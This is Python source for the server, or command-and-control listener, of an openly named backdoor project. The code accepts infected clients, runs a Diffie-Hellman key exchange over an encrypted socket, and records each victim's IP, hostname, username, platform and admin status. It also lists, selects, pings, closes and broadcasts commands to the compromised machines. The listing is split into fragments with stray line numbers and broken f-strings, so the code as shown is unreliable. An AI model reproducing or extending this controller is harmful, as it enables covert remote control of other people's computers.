```python
"""
https://github.com/xp4xbox/Python-Backdoor

@author    xp4xbox

license: https://github.com/xp4xbox/Python-Backdoor/blob/master/license
"""
import logging
import socket
import sys
import time
from threading import Thread

from src.encrypted_socket import EncryptedSocket
from src.diffie_hellman import DiffieHellman
from src import helper, errors
from src.definitions.commands import *

from src.logger import LOGGER_ID


class Server:
    def __init__(self, port):
        self.logger = logging.getLogger(LOGGER_ID)

        self.thread_accept = None
        self.port = port
        self.connections = []
        self.addresses = []

        self.listener = socket.socket()

        try:
            self.listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,
                                     1)  # reuse a socket even if its recently closed
        except socket.error as e:
            self.logger.error(f"Error creating socket {e}")
            sys.exit(0)

    def listen_asych(self):
        def bind():
            try:
                self.listener.bind(("0.0.0.0", self.port))
                self.listener.listen(20)
            except socket.error as e:
                self.logger.warning(f"Error binding socket {e}\nRetrying...")
                time.sleep(3)
                bind()

        bind()

        self.logger.info(f"Listening on port {self.port}")
```

```
        def socket_accept():
            while True:
                try:
                    _socket, address = self.listener.accept()
                    _socket.setblocking(True)

                    dh = DiffieHellman()

                    # send the public key first
                    _socket.send(str(dh.pub_key).encode())

                    self.logger.debug(f"send pub key: {dh.pub_key}")

                    pub_key = int(_socket.recv(1024).decode())

                    self.logger.debug(f"recv pub key: {pub_key}")

                    dh.set_shared_key(pub_key)

                    es = EncryptedSocket(_socket, dh.key)

                    es.send_json(CLIENT_INFO)

                    while True:
                        # wait for info
                        response = es.recv_json()

                        if response["key"] == SUCCESS:
                            break

                    address = {**{"ip": address[0], "port": address[1]}, **response[
                    "value"], **{"connected": True},
                               **{"aes_key": dh.key}}

                    del dh

                    if es.socket in self.connections:
                        self.addresses[self.connections.index(es.socket)] = address
                    else:
                        self.connections.append(es.socket)
                        self.addresses.append(address)

                    self.logger.info(
                        f"Connection {len(self.connections)} has been established: {
                        address['ip']}:{address['port']} ({address['hostname']})")
                except socket.error as err:
                    self.logger.error(f"Error accepting connection {err}")
                    continue

        self.thread_accept = Thread(target=socket_accept)
        self.thread_accept.daemon = True
        self.thread_accept.start()
```

```
143         def close_clients(self):
144             if len(self.connections) > 0:
145                 for _socket in self.active_connections():
146                     key = self.addresses[self.connections.index(_socket)]["aes_key"]
147                     es = EncryptedSocket(_socket, key)
148 
149                     try:
150                         es.send_json(CLIENT_EXIT)
151                         es.socket.close()
152                     except socket.error:
153                         pass
154             else:
155                 self.logger.warning("No connections")
156 
157             del self.connections
158             del self.addresses
159             self.connections = []
160             self.addresses = []
161 
162         # either close with by index or a socket
163         def close_one(self, index=-1, sck=None):
164             if index == -1:
165                 if sck is None:
166                     self.logger.error("Invalid use of function")
167                     return
168 
169                 index = self.connections.index(sck) + 1
170 
171             try:
172                 es = self.select(index)
173             except errors.ServerSocket.InvalidIndex as e:
174                 self.logger.error(e)
175                 return
176 
177             try:
178                 es.send_json(CLIENT_EXIT)
179                 es.socket.close()
180             except socket.error:
181                 pass
182 
183             self.addresses[self.connections.index(es.socket)]["connected"] = False
184 
185         def refresh(self):
186             for _, _socket in enumerate(self.active_connections()):
187                 close_conn = False
188 
189                 k = self.addresses[self.connections.index(_socket)]["aes_key"]
190                 es = EncryptedSocket(_socket, k)
191 
192                 try:
193                     es.send_json(CLIENT_HEARTBEAT)
194                 except socket.error:
195                     close_conn = True
196                 else:
197                     if es.recv_json()["key"] != SUCCESS:
198                         close_conn = True
199 
200                 if close_conn:
201                     # close conn, but don't send the close signal, so it can restart
202                     es.socket.close()
203                     self.addresses[self.connections.index(es.socket)]["connected"] = False
204 
205         def get_address(self, _socket):
206             return self.addresses[self.connections.index(_socket)]
207 
208 
209 
210 
211 
212 
213 
214 
```

```python
    def list(self, inactive=False):
        addresses = []
        # add ID
        for i, address in enumerate(self.addresses):
            if (inactive and not address["connected"]) or (not inactive and address[
            "connected"]):
                address = {**{"index": str(i + 1)}, **address}
                addresses.append(address)

        if len(addresses) > 0:
            info = "\n"
            for key in addresses[0]:
                if key in ["index", "ip", "port", "username", "platform", "is_admin"]:
                    info += f"{helper.center(str(addresses[0][key]), str(key))}{4 * '
                    '}"

            info += "\n"

            for i, address in enumerate(addresses):
                for key in address:
                    if key in ["index", "ip", "port", "username", "platform",
                    "is_admin"]:
                        info += f"{helper.center(key, address[key])}{4 * ' '}"

                if i < len(addresses) - 1:
                    info += "\n"

            return info
        else:
            _str = "inactive" if inactive else "active"

            self.logger.warning(f"No {_str} connections")
            return ""

    # connection id should be actual index + 1
    def select(self, connection_id):
        try:
            connection_id = int(connection_id)

            if connection_id < 1:
                raise Exception

            _socket = self.connections[connection_id - 1]

            if not self.addresses[connection_id - 1]["connected"]:
                raise Exception

        except Exception:
            raise errors.ServerSocket.InvalidIndex(f"No active connection found with
            index {connection_id}")

        return EncryptedSocket(_socket, self.addresses[connection_id - 1]["aes_key"])
```

```
283         def send_all_connections(self, key, value, recv=False, recvall=False):
284             if self.num_active_connections() > 0:
285                 for i, _socket in enumerate(self.active_connections()):
286 
287                     es = EncryptedSocket(_socket, self.addresses[i]["aes_key"])
288 
289                     try:
290                         es.send_json(key, value)
291                     except socket.error:
292                         continue
293 
294                     output = ""
295 
296                     if recvall:
297                         data = es.recv_json()
298 
299                         buffer = data["value"]["buffer"]
300 
301                         output = es.recvall(buffer).decode()
302                     elif recv:
303                         output = es.recv_json()["value"]
304 
305                     if output:
306                         _info = self.addresses[i]
307                         print(f"Response from connection {str(i+1)} at {_info['ip']}:{
                            _info['port']} \n{output}")
308             else:
309                 self.logger.warning("No active connections")
310 
311         def active_connections(self):
312             conns = []
313 
314             for i, address in enumerate(self.addresses):
315                 if address["connected"]:
316                     conns.append(self.connections[i])
317 
318             return conns
319 
320         def num_active_connections(self):
321             count = 0
322 
323             for address in self.addresses:
324                 if address["connected"]:
325                     count += 1
326 
327             return count
328 
```